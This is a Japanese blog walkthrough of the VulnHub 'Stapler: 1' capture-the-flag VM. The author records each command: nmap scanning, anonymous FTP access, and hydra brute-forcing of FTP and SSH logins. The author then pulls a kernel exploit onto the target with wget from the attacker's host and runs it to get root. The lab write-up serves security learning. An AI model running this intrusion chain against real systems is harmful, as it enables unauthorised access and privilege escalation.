セキュリティ技術者見習い備忘録

セキュリティ見習いが勉強作業記録をメモする場所

【VulnHub】Stapler: 1 -Walkthrough-

はじめに

今回は以下のVM

環境構築は、以下を参考。

ztetez.hatenablog.com

情報収集

ターゲットのIPアドレスの特定から。(攻撃側(kali linux)のIPアドレスは10.0.10.10)

#netdiscover -r 10.0.10.0/24

-r:スキャン範囲の指定。デフォルトでは、192.168.0.0/16。

f:id:ztetez:20190429015255p:plain

続いてポートスキャン。

#nmap -sV -A -p- 10.0.10.13

  • -sV:バージョンスキャン
  • -A:詳細情報取得
  • -p-:フルポートスキャン

f:id:ztetez:20190130201109p:plain

f:id:ztetez:20190130201116p:plain

21番(ftp)、22番(ssh)、53番(dns)、80番(http)、139番(netbios-ssn)、666番(doom)、3306番(mysql)、12380番(http)がopen。

21番の「Anonymous logon allowed」が気になるが、まずは80番から。ブラウザでアクセスしたが、404が返ってきた。

f:id:ztetez:20190130202805p:plain

dirbでも何も見つからない。

#dirb http://10.0.10.13

f:id:ztetez:20190130202822p:plain

 気になっていた21番の調査を開始。kali linuxにはftpが入っていなかったので、インストール。

#apt-get install ftp

 ポートスキャンの結果にある「Anonymous logon」とはユーザ登録を行っていないユーザでもAnonymous(匿名)でFTPサーバへファイルを送受信できるという物。ログインする際にはユーザ名に「anonumous」、パスワードは任意(空欄OK)。

※マナーではメールアドレスを入力するらしい。

パスワードは空欄OKなようなので、空欄でログインしてみる。

f:id:ztetez:20190201113359p:plain

入れた。ファイルのリストを確認すると「note」というファイルがあった。ftpだとcatは使えない。noteをローカルに持ってくる。

ftp>get note

f:id:ztetez:20190201113453p:plain

noteの中身は↓↓

f:id:ztetez:20190201113635p:plain

Elly、Johnという名前が見つかるので、hydraでパスワードクラックするためにユーザリストを作成。パスワードは候補ないからhydraのオプションでなんとかする。

f:id:ztetez:20190201114500p:plain

侵入

21番(ftp)に対してパスワードクラック。

#hydra -L user.lst -e nsr ftp://10.0.10.13

※-L:ユーザリストファイルの指定

※-e nsr:nは"null"で空欄を設定、sは"same"でユーザ名と同じパスワードを設定、rは"reverse"でユーザ名を逆転したパスワードを設定

f:id:ztetez:20190201115628p:plain

ユーザ名「elly」、パスワード「ylle」を発見。オプションnsrでいうとrで発見できたということ。同じものを22番(ssh)に試したが、ヒットしなかった。

見つけたアカウントでftpへログインした。ファイルのリストに「passwd」を発見。

f:id:ztetez:20190201121728p:plain

 ローカルに落とす。

ftp>get passwd

f:id:ztetez:20190201121758p:plain passwdファイルの中身を確認すると、存在するユーザがわかる。

f:id:ztetez:20190201122120p:plain

一番左の列のユーザ名のみを抽出し、ユーザリスト(user2.lst)を作成する。

#cat passwd | cut -f 1 --delim=":" passwd > user2.lst 

f:id:ztetez:20190201123103p:plain

user2.lstを使って、hydraでsshパスワードクラック。

#hydra -L user2.lst -e nsr -t 4 ssh://10.0.10.13

※-L:ユーザリストファイルの指定

※-e nsr:nは"null"で空欄を設定、sは"same"でユーザ名と同じパスワードを設定、rは"reverse"でユーザ名を逆転したパスワードを設定

※-t: タスク数の指定

f:id:ztetez:20190201123910p:plain

 ユーザ名「SHayslett」、パスワード「SHayslett」を発見。オプションnsrでいうとsで発見できたということ。発見したアカウントでsshにログインする。以下のコマンドで、カーネル、OSのバージョンを調査。

$uname -a

$cat /etc/issue(ホチキスが表示)

uname -aよりOSは分かったが、バージョンが/etc/issueからは分からなかったので、バージョンは以下で調べた。

$cat /etc/lsb-release

f:id:ztetez:20190201130755p:plain


<参考>

OSのバージョンは以下で調べることができる。

RedHat系:cat /etc/redhat-release

Fedora系:cat /etc/fedora-release

Debian系:cat /etc/debian_version

Ubuntu系:cat /etc/lsb-release 

権限昇格

 Ubuntu16.04でexploit codeを探す。

#searchsploit Ubuntu16.04

f:id:ztetez:20190201165714p:plain

どれか使えるのかを探すのが一番難しい。やみくもに上からやっていくのも嫌なので今回は以下の観点で選んだ。

  • カーネル4.4.0-21のもの
  • Privilege escalation(権限昇格)できるもの
  • 32bit(x86)が対象のもの ※64bitならuname -aしたときに表示される

 とすると上の枠で囲んだものかなと。囲ったものをwgetで持ってくる。

#wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

f:id:ztetez:20190201171716p:plain

 攻撃側(Kali linux)をWebサーバとして、ターゲットからダウンロードさせるため、落としてきた39772.zipを「/var/www/html」へ配置。以下コマンドでApache2を起動する。

#systemctl start apache2.service

 侵入したターゲット上から攻撃側(Kali linux)へアクセスし、39772.zipを持ってくる。(次回からはターゲットもインターネットにつなごうかな)

$wget http://10.0.10.10/39772.zip

f:id:ztetez:20190201173022p:plain

 zipを解凍し、tarファイルを解凍する。

$unzip 39772.zip

$tar -xvf exploit.tar

f:id:ztetez:20190201174417p:plain

あとはコンパイルして、実行すると、rootになれた。

f:id:ztetez:20190201174837p:plain

 exploit codeの使い方は以下サイトの下のほうに画像付きで説明されていたので、迷うことなくいけた。

www.exploit-db.com

 /rootフォルダに移動し、flagをゲット。

f:id:ztetez:20190201175403p:plain